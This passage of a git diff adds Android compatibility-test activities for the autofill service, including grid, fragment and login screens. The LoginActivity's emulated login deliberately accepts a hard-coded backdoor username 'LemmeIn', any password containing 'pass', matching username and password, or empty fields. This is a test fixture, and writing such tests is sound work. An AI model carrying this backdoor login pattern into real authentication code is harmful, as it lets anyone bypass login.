+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_excluding_descendants_grand_child";
+
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "important_container_excluding_descendants";
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "important_container_excluding_descendants_child";
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "important_container_excluding_descendants_grand_child";
+
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS =
+            "not_important_container_mixed_descendants";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD =
+            "not_important_container_mixed_descendants_child";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_mixed_descendants_grand_child";
+
+    private LinearLayout mRoot;
+    private EditText mCaptcha;
+    private EditText mInput;
+    private ImageView mImage;
+    private ImageView mImportantImage;
+
+    private View mNotImportantContainerExcludingDescendants;
+    private View mNotImportantContainerExcludingDescendantsChild;
+    private View mNotImportantContainerExcludingDescendantsGrandChild;
+
+    private View mImportantContainerExcludingDescendants;
+    private View mImportantContainerExcludingDescendantsChild;
+    private View mImportantContainerExcludingDescendantsGrandChild;
+
+    private View mNotImportantContainerMixedDescendants;
+    private View mNotImportantContainerMixedDescendantsChild;
+    private View mNotImportantContainerMixedDescendantsGrandChild;
+
+    private MyView mViewWithAutofillHints;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fat_activity);
+
+        mRoot = findViewById(R.id.root);
+        mCaptcha = findViewById(R.id.captcha);
+        mInput = findViewById(R.id.input);
+        mImage = findViewById(R.id.image);
+        mImportantImage = findViewById(R.id.important_image);
+
+        mNotImportantContainerExcludingDescendants = findViewById(
+                R.id.not_important_container_excluding_descendants);
+        mNotImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.not_important_container_excluding_descendants_child);
+        mNotImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.not_important_container_excluding_descendants_grand_child);
+
+        mImportantContainerExcludingDescendants = findViewById(
+                R.id.important_container_excluding_descendants);
+        mImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.important_container_excluding_descendants_child);
+        mImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.important_container_excluding_descendants_grand_child);
+
+        mNotImportantContainerMixedDescendants = findViewById(
+                R.id.not_important_container_mixed_descendants);
+        mNotImportantContainerMixedDescendantsChild = findViewById(
+                R.id.not_important_container_mixed_descendants_child);
+        mNotImportantContainerMixedDescendantsGrandChild = findViewById(
+                R.id.not_important_container_mixed_descendants_grand_child);
+
+        mViewWithAutofillHints = (MyView) findViewByAutofillHint(this, "importantAmI");
+        assertThat(mViewWithAutofillHints).isNotNull();
+
+        // Validation check for importantForAutofill modes
+        assertThat(mRoot.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+        assertThat(mInput.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mCaptcha.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImportantImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+
+        assertThat(mNotImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+        assertThat(mNotImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS);
+        assertThat(mImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mNotImportantContainerMixedDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mNotImportantContainerMixedDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerMixedDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+
+        assertThat(mViewWithAutofillHints.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+        assertThat(mViewWithAutofillHints.isImportantForAutofill()).isTrue();
+    }
+
+    /**
+     * Visits the {@code input} in the UiThread.
+     */
+    public void onInput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> {
+            v.visit(mInput);
+        });
+    }
+
+    /**
+     * Custom view that defines an autofill type so autofill hints are set on {@code ViewNode}.
+     */
+    public static class MyView extends View {
+        public MyView(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        @Override
+        public int getAutofillType() {
+            return AUTOFILL_TYPE_TEXT;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java
new file mode 100644
index 0000000..a2edf71
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.os.Bundle;
+import android.widget.FrameLayout;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity containing an fragment
+ */
+public class FragmentContainerActivity extends AbstractAutoFillActivity {
+    public static final String FRAGMENT_TAG =
+            FragmentContainerActivity.class.getName() + "#FRAGMENT_TAG";
+    private CountDownLatch mResumed = new CountDownLatch(1);
+    private CountDownLatch mStopped = new CountDownLatch(0);
+    private FrameLayout mRootContainer;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fragment_container);
+
+        mRootContainer = findViewById(R.id.rootContainer);
+
+        // have to manually add fragment as we cannot remove it otherwise
+        getFragmentManager().beginTransaction().add(R.id.rootContainer,
+                new FragmentWithEditText(), FRAGMENT_TAG).commitNow();
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+
+        mStopped = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        mResumed.countDown();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        mResumed = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        mStopped.countDown();
+    }
+
+    /**
+     * Sets whether the root container is focusable or not.
+     *
+     * <p>It's initially set as {@code trye} in the XML layout so autofill is not automatically
+     * triggered in the edit text before the service is prepared to handle it.
+     */
+    public void setRootContainerFocusable(boolean focusable) {
+        mRootContainer.setFocusable(focusable);
+        mRootContainer.setFocusableInTouchMode(focusable);
+    }
+
+    public boolean waitUntilResumed() throws InterruptedException {
+        return mResumed.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+    }
+
+    public boolean waitUntilStopped() throws InterruptedException {
+        return mStopped.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java
new file mode 100644
index 0000000..c615854
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Fragment;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A fragment with containing {@link EditText}s
+ */
+public class FragmentWithEditText extends Fragment {
+    @Override
+    @Nullable
+    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_edittext, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java
new file mode 100644
index 0000000..a562e2b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Fragment;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A fragment with containing more {@link EditText}s
+ */
+public class FragmentWithMoreEditTexts extends Fragment {
+    @Override
+    @Nullable
+    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_more_edittexts, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java
new file mode 100644
index 0000000..696810e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.GridLayout;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.ArrayList;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
+ * {@code save} and {@code clear} buttons.
+ */
+public class GridActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "GridActivity";
+    private static final int N_ROWS = 4;
+    private static final int N_COLS = 2;
+
+    public static final String ID_L1C1 = getResourceId(1, 1);
+    public static final String ID_L1C2 = getResourceId(1, 2);
+    public static final String ID_L2C1 = getResourceId(2, 1);
+    public static final String ID_L2C2 = getResourceId(2, 2);
+    public static final String ID_L3C1 = getResourceId(3, 1);
+    public static final String ID_L3C2 = getResourceId(3, 2);
+    public static final String ID_L4C1 = getResourceId(4, 1);
+    public static final String ID_L4C2 = getResourceId(4, 2);
+
+    private GridLayout mGrid;
+    private final EditText[][] mCells = new EditText[4][2];
+    private Button mSaveButton;
+    private Button mClearButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.grid_activity);
+
+        mGrid = findViewById(R.id.grid);
+        mCells[0][0] = findViewById(R.id.l1c1);
+        mCells[0][1] = findViewById(R.id.l1c2);
+        mCells[1][0] = findViewById(R.id.l2c1);
+        mCells[1][1] = findViewById(R.id.l2c2);
+        mCells[2][0] = findViewById(R.id.l3c1);
+        mCells[2][1] = findViewById(R.id.l3c2);
+        mCells[3][0] = findViewById(R.id.l4c1);
+        mCells[3][1] = findViewById(R.id.l4c2);
+        mSaveButton = findViewById(R.id.save);
+        mClearButton = findViewById(R.id.clear);
+
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    public void save() {
+        getSystemService(AutofillManager.class).commit();
+    }
+
+    public void resetFields() {
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                mCells[i][j].setText("");
+            }
+        }
+        getSystemService(AutofillManager.class).cancel();
+    }
+
+    public EditText getCell(int row, int column) {
+        return mCells[row - 1][column - 1];
+    }
+
+    public static String getResourceId(int line, int col) {
+        return "l" + line + "c" + col;
+    }
+
+    public void onCell(int row, int column, Visitor<EditText> v) {
+        final EditText cell = getCell(row, column);
+        syncRunOnUiThread(() -> v.visit(cell));
+    }
+
+    public void focusCell(int row, int column) {
+        onCell(row, column, EditText::requestFocus);
+    }
+
+    public void clearCell(int row, int column) {
+        onCell(row, column, (c) -> c.setText(""));
+    }
+
+    public void setText(int row, int column, String text) {
+        onCell(row, column, (c) -> c.setText(text));
+    }
+
+    public void forceAutofill(int row, int column) {
+        onCell(row, column, (c) -> getAutofillManager().requestAutofill(c));
+    }
+
+    public void removeCell(int row, int column) {
+        onCell(row, column, (c) -> mGrid.removeView(c));
+    }
+
+    public void addCell(int row, int column, EditText cell) {
+        mCells[row - 1][column - 1] = cell;
+        // TODO: ideally it should be added in the right place...
+        syncRunOnUiThread(() -> mGrid.addView(cell));
+    }
+
+    public void triggerAutofill(boolean manually, int row, int column) {
+        if (manually) {
+            forceAutofill(row, column);
+        } else {
+            focusCell(row, column);
+        }
+    }
+
+    public String getText(int row, int column) throws InterruptedException {
+        final long timeoutMs = 100;
+        final BlockingQueue<String> queue = new LinkedBlockingQueue<>(1);
+        onCell(row, column, (c) -> Helper.offer(queue, c.getText().toString(), timeoutMs));
+        final String text = queue.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        if (text == null) {
+            throw new RetryableException("text not set in " + timeoutMs + "ms");
+        }
+        return text;
+    }
+
+    public FillExpectation expectAutofill() {
+        return new FillExpectation();
+    }
+
+    public void dumpCells() {
+        final StringBuilder output = new StringBuilder("dumpCells():\n");
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                final String id = getResourceId(i + 1, j + 1);
+                final String value = mCells[i][j].getText().toString();
+                output.append('\t').append(id).append("='").append(value).append("'\n");
+            }
+        }
+        Log.d(TAG, output.toString());
+    }
+
+    public final class FillExpectation {
+
+        private final ArrayList<OneTimeTextWatcher> mWatchers = new ArrayList<>();
+
+        public FillExpectation onCell(int line, int col, String value) {
+            final String resourceId = getResourceId(line, col);
+            final EditText cell = getCell(line, col);
+            final OneTimeTextWatcher watcher = new OneTimeTextWatcher(resourceId, cell, value);
+            mWatchers.add(watcher);
+            cell.addTextChangedListener(watcher);
+            return this;
+        }
+
+        public void assertAutoFilled() throws Exception {
+            try {
+                for (int i = 0; i < mWatchers.size(); i++) {
+                    final OneTimeTextWatcher watcher = mWatchers.get(i);
+                    watcher.assertAutoFilled();
+                }
+            } catch (AssertionError | Exception e) {
+                dumpCells();
+                throw e;
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java
new file mode 100644
index 0000000..0b153d2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class InitializedCheckoutActivity extends CheckoutActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.initialized_checkout_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
new file mode 100644
index 0000000..af44058
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -0,0 +1,383 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Username EditText (id: username, no input-type)
+ *   <li>Password EditText (id: "username", input-type textPassword)
+ *   <li>Clear Button
+ *   <li>Save Button
+ *   <li>Login Button
+ * </ul>
+ */
+public class LoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "LoginActivity";
+    private static final long LOGIN_TIMEOUT_MS = 1000;
+
+    public static final String ID_USERNAME_CONTAINER = "username_container";
+    public static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+    public static final String BACKDOOR_USERNAME = "LemmeIn";
+    public static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
+
+    private static String sWelcomeTemplate = "Welcome to the new activity, %s!";
+
+    private static LoginActivity sCurrentActivity;
+
+    private LinearLayout mUsernameContainer;
+    private TextView mUsernameLabel;
+    private EditText mUsernameEditText;
+    private TextView mPasswordLabel;
+    private EditText mPasswordEditText;
+    private TextView mOutput;
+    private Button mLoginButton;
+    private Button mSaveButton;
+    private Button mCancelButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    // State used to synchronously get the result of a login attempt.
+    private CountDownLatch mLoginLatch;
+    private String mLoginMessage;
+
+    /**
+     * Gets the expected welcome message for a given username.
+     */
+    public static String getWelcomeMessage(String username) {
+        return String.format(sWelcomeTemplate,  username);
+    }
+
+    /**
+     * Gests the latest instance.
+     *
+     * <p>Typically used in test cases that rotates the activity
+     */
+    @SuppressWarnings("unchecked") // Its up to caller to make sure it's setting the right one
+    public static <T extends LoginActivity> T getCurrentActivity() {
+        return (T) sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mUsernameContainer = findViewById(R.id.username_container);
+        mLoginButton = findViewById(R.id.login);
+        mSaveButton = findViewById(R.id.save);
+        mClearButton = findViewById(R.id.clear);
+        mCancelButton = findViewById(R.id.cancel);
+        mUsernameLabel = findViewById(R.id.username_label);
+        mUsernameEditText = findViewById(R.id.username);
+        mPasswordLabel = findViewById(R.id.password_label);
+        mPasswordEditText = findViewById(R.id.password);
+        mOutput = findViewById(R.id.output);
+
+        mLoginButton.setOnClickListener((v) -> login());
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> {
+            mUsernameEditText.setText("");
+            mPasswordEditText.setText("");
+            mOutput.setText("");
+            getAutofillManager().cancel();
+        });
+        mCancelButton.setOnClickListener((OnClickListener) v -> finish());
+
+        sCurrentActivity = this;
+    }
+
+    protected int getContentView() {
+        return R.layout.login_activity;
+    }
+
+    /**
+     * Emulates a login action.
+     */
+    private void login() {
+        final String username = mUsernameEditText.getText().toString();
+        final String password = mPasswordEditText.getText().toString();
+        final boolean valid = username.equals(password)
+                || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
+                || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
+                || username.equals(BACKDOOR_USERNAME);
+
+        if (valid) {
+            Log.d(TAG, "login ok: " + username);
+            final Intent intent = new Intent(this, WelcomeActivity.class);
+            final String message = getWelcomeMessage(username);
+            intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            setLoginMessage(message);
+            startActivity(intent);
+            finish();
+        } else {
+            Log.d(TAG, "login failed: " + AUTHENTICATION_MESSAGE);
+            mOutput.setText(AUTHENTICATION_MESSAGE);
+            setLoginMessage(AUTHENTICATION_MESSAGE);
+        }
+    }
+
+    private void setLoginMessage(String message) {
+        Log.d(TAG, "setLoginMessage(): " + message);
+        if (mLoginLatch != null) {
+            mLoginMessage = message;
+            mLoginLatch.countDown();
+        }
+    }
+
+    /**
+     * Explicitly forces the AutofillManager to save the username and password.
+     */
+    private void save() {
+        final InputMethodManager imm = (InputMethodManager) getSystemService(
+                Context.INPUT_METHOD_SERVICE);
+        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
+        getAutofillManager().commit();
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for all fields), so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for username only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior.
+     * <pre>
+     * An example usage is:
+     * <code>
+     *  public void testAutofill() throws Exception {
+     *      // Enable service and trigger autofill
+     *      enableService();
+     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
+     *                         .setField(ID_USERNAME, "test")
+     *                         .setField(ID_PASSWORD, "tweet")
+     *                         .setPresentation(createPresentation("Second Dude"))
+     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
+     *                         .build());
+     *      sReplier.addResponse(builder.build());
+     *      mUiBot.selectByRelativeId(ID_USERNAME);
+     *      sReplier.getNextFillRequest();
+     *      // Filter suggestion
+     *      mActivity.onUsername((v) -> v.setText("t"));
+     *      mUiBot.assertDatasets("Second Dude");
+     *
+     *      // Call expectAutoFill() before checking autofill behavior
+     *      mActivity.expectAutoFill("test", "tweet");
+     *      mUiBot.selectDataset("Second Dude");
+     *      mActivity.assertAutoFilled();
+     *  }
+     * </code>
+     * </pre>
+     */
+    public void expectAutoFill(String username) {
+        mExpectation = new FillExpectation(username);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for password only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior. {@See #expectAutoFill(String)} for how it should be used.
+     */
+    public void expectPasswordAutoFill(String password) {
+        mExpectation = new FillExpectation(null, password);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.ccUsernameWatcher != null) {
+            mExpectation.ccUsernameWatcher.assertAutoFilled();
+        }
+        if (mExpectation.ccPasswordWatcher != null) {
+            mExpectation.ccPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    public void forceAutofillOnUsername() {
+        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mUsernameEditText));
+    }
+
+    public void forceAutofillOnPassword() {
+        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mPasswordEditText));
+    }
+
+    /**
+     * Visits the {@code username_label} in the UiThread.
+     */
+    public void onUsernameLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameLabel));
+    }
+
+    /**
+     * Visits the {@code username} in the UiThread.
+     */
+    public void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameEditText));
+    }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
+    }
+
+    /**
+     * Gets the {@code username_label} view.
+     */
+    public TextView getUsernameLabel() {
+        return mUsernameLabel;
+    }
+
+    /**
+     * Gets the {@code username} view.
+     */
+    public EditText getUsername() {
+        return mUsernameEditText;
+    }
+
+    /**
+     * Visits the {@code password_label} in the UiThread.
+     */
+    public void onPasswordLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordLabel));
+    }
+
+    /**
+     * Visits the {@code password} in the UiThread.
+     */
+    public void onPassword(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordEditText));
+    }
+
+    /**
+     * Visits the {@code login} button in the UiThread.
+     */
+    public void onLogin(Visitor<Button> v) {
+        syncRunOnUiThread(() -> v.visit(mLoginButton));
+    }
+
+    /**
+     * Gets the {@code password} view.
+     */
+    public EditText getPassword() {
+        return mPasswordEditText;
+    }
+
+    /**
+     * Taps the login button in the UI thread.
+     */
+    public String tapLogin() throws Exception {
+        mLoginLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mLoginButton.performClick());
+        boolean called = mLoginLatch.await(LOGIN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for login", LOGIN_TIMEOUT_MS)
+                .that(called).isTrue();
+        return mLoginMessage;
+    }
+
+    /**
+     * Taps the save button in the UI thread.
+     */
+    public void tapSave() throws Exception {
+        syncRunOnUiThread(() -> mSaveButton.performClick());
+    }
+
+    /**
+     * Taps the clear button in the UI thread.
+     */
+    public void tapClear() {
+        syncRunOnUiThread(() -> mClearButton.performClick());
+    }
+
+    /**
+     * Sets the window flags.
+     */
+    public void setFlags(int flags) {
+        Log.d(TAG, "setFlags():" + flags);
+        syncRunOnUiThread(() -> getWindow().setFlags(flags, flags));
+    }
+
+    /**
+     * Adds a child view to the root container.
+     */
+    public void addChild(View child) {
+        Log.d(TAG, "addChild(" + child + "): id=" + child.getAutofillId());
+        final ViewGroup root = (ViewGroup) mUsernameContainer.getParent();
+        syncRunOnUiThread(() -> root.addView(child));
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccUsernameWatcher;
+        private final OneTimeTextWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
